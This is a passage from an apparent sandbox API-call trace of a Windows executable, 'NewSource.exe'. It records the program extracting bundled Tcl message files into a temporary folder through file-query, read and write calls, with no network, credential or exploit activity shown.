"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.334] GetFileType (hFile=0x10c) returned 0x1 [0037.334] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.334] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.334] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.334] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.334] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.334] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.334] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.334] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.334] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.335] CloseHandle (hObject=0x10c) returned 1 [0037.335] GetLastError () returned 0x0 [0037.335] SetLastError (dwErrCode=0x0) [0037.335] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.335] GetFileType (hFile=0x10c) returned 0x1 [0037.335] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.335] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.335] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.335] CloseHandle (hObject=0x10c) returned 1 [0037.335] GetLastError () returned 0x0 [0037.335] SetLastError (dwErrCode=0x0) [0037.335] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa_ir.msg") returned 64 [0037.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa_ir.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fa_ir.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.335] GetLastError () returned 0x2 [0037.335] SetLastError (dwErrCode=0x2) [0037.335] GetLastError () returned 0x2 [0037.336] SetLastError (dwErrCode=0x2) [0037.336] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa_ir.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa_ir.msg", lpFilePart=0x0) returned 0x3f [0037.336] GetLastError () returned 0x2 [0037.336] SetLastError (dwErrCode=0x2) [0037.336] GetLastError () returned 0x2 [0037.336] SetLastError (dwErrCode=0x2) [0037.336] GetLastError () returned 0x2 [0037.336] SetLastError (dwErrCode=0x2) [0037.336] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa_ir.msg") returned 64 [0037.336] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fa_ir.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fa_ir.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.352] GetFileType (hFile=0x10c) returned 0x1 [0037.352] htonl (hostlong=0xa1010000) returned 0x1a1 [0037.352] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.352] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x1a1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x1a1, lpOverlapped=0x0) returned 1 [0037.353] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.353] CloseHandle (hObject=0x10c) returned 1 [0037.354] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506d0 | out: hHeap=0x530000) returned 1 [0037.354] htonl (hostlong=0x30000000) returned 0x30 [0037.354] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.354] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.354] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.354] GetFileType (hFile=0x10c) returned 0x1 [0037.354] htonl (hostlong=0xc75d5700) returned 0x575dc7 [0037.354] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c0dc7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.354] htonl (hostlong=0x72010000) returned 0x172 [0037.354] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x172) returned 0x550600 [0037.354] htonl (hostlong=0x72010000) returned 0x172 [0037.354] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.354] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.354] htonl (hostlong=0x79040000) returned 0x479 [0037.354] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x479) returned 0x550780 [0037.354] htonl (hostlong=0x72010000) returned 0x172 [0037.354] htonl (hostlong=0x79040000) returned 0x479 [0037.354] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.354] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.355] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.355] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.355] CloseHandle (hObject=0x10c) returned 1 [0037.355] GetLastError () returned 0x0 [0037.355] SetLastError (dwErrCode=0x0) [0037.355] GetLastError () returned 0x0 [0037.355] SetLastError (dwErrCode=0x0) [0037.355] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.355] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.355] GetFileType (hFile=0x10c) returned 0x1 [0037.355] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.355] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.355] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.355] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.355] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.355] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.355] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.355] CloseHandle (hObject=0x10c) returned 1 [0037.355] GetLastError () returned 0x0 [0037.355] SetLastError (dwErrCode=0x0) [0037.355] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.355] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.356] GetFileType (hFile=0x10c) returned 0x1 [0037.356] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.356] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.356] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.356] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.356] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.356] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.356] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.356] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.356] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.356] CloseHandle (hObject=0x10c) returned 1 [0037.356] GetLastError () returned 0x0 [0037.356] SetLastError (dwErrCode=0x0) [0037.356] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fi.msg") returned 61 [0037.356] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fi.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fi.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.356] GetLastError () returned 0x2 [0037.356] SetLastError (dwErrCode=0x2) [0037.356] GetLastError () returned 0x2 [0037.356] SetLastError (dwErrCode=0x2) [0037.356] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fi.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fi.msg", lpFilePart=0x0) returned 0x3c [0037.356] GetLastError () returned 0x2 [0037.356] SetLastError (dwErrCode=0x2) [0037.356] GetLastError () returned 0x2 [0037.356] SetLastError (dwErrCode=0x2) [0037.356] GetLastError () returned 0x2 [0037.356] SetLastError (dwErrCode=0x2) [0037.356] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fi.msg") returned 61 [0037.357] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.357] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fi.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fi.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.357] GetFileType (hFile=0x10c) returned 0x1 [0037.357] htonl (hostlong=0x79040000) returned 0x479 [0037.357] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.357] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x479, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x479, lpOverlapped=0x0) returned 1 [0037.358] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.358] CloseHandle (hObject=0x10c) returned 1 [0037.359] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550780 | out: hHeap=0x530000) returned 1 [0037.359] htonl (hostlong=0x30000000) returned 0x30 [0037.359] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.359] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.359] GetFileType (hFile=0x10c) returned 0x1 [0037.359] htonl (hostlong=0x395f5700) returned 0x575f39 [0037.359] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c0f39, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.359] htonl (hostlong=0x44010000) returned 0x144 [0037.359] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x144) returned 0x550600 [0037.359] htonl (hostlong=0x44010000) returned 0x144 [0037.359] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.359] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.359] htonl (hostlong=0xda030000) returned 0x3da [0037.359] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3da) returned 0x550750 [0037.359] htonl (hostlong=0x44010000) returned 0x144 [0037.359] htonl (hostlong=0xda030000) returned 0x3da [0037.359] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.359] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.359] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.359] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.359] CloseHandle (hObject=0x10c) returned 1 [0037.359] GetLastError () returned 0x0 [0037.359] SetLastError (dwErrCode=0x0) [0037.359] GetLastError () returned 0x0 [0037.360] SetLastError (dwErrCode=0x0) [0037.360] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.360] GetFileType (hFile=0x10c) returned 0x1 [0037.360] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.360] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.360] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.360] CloseHandle (hObject=0x10c) returned 1 [0037.360] GetLastError () returned 0x0 [0037.360] SetLastError (dwErrCode=0x0) [0037.360] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.361] GetFileType (hFile=0x10c) returned 0x1 [0037.361] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.361] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.361] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.361] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.361] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.361] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.361] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.361] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.361] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.361] CloseHandle (hObject=0x10c) returned 1 [0037.361] GetLastError () returned 0x0 [0037.361] SetLastError (dwErrCode=0x0) [0037.361] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fo.msg") returned 61 [0037.361] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fo.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fo.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.361] GetLastError () returned 0x2 [0037.361] SetLastError (dwErrCode=0x2) [0037.361] GetLastError () returned 0x2 [0037.361] SetLastError (dwErrCode=0x2) [0037.362] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fo.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fo.msg", lpFilePart=0x0) returned 0x3c [0037.362] GetLastError () returned 0x2 [0037.362] SetLastError (dwErrCode=0x2) [0037.362] GetLastError () returned 0x2 [0037.362] SetLastError (dwErrCode=0x2) [0037.362] GetLastError () returned 0x2 [0037.362] SetLastError (dwErrCode=0x2) [0037.362] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fo.msg") returned 61 [0037.362] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.362] CreateFileW 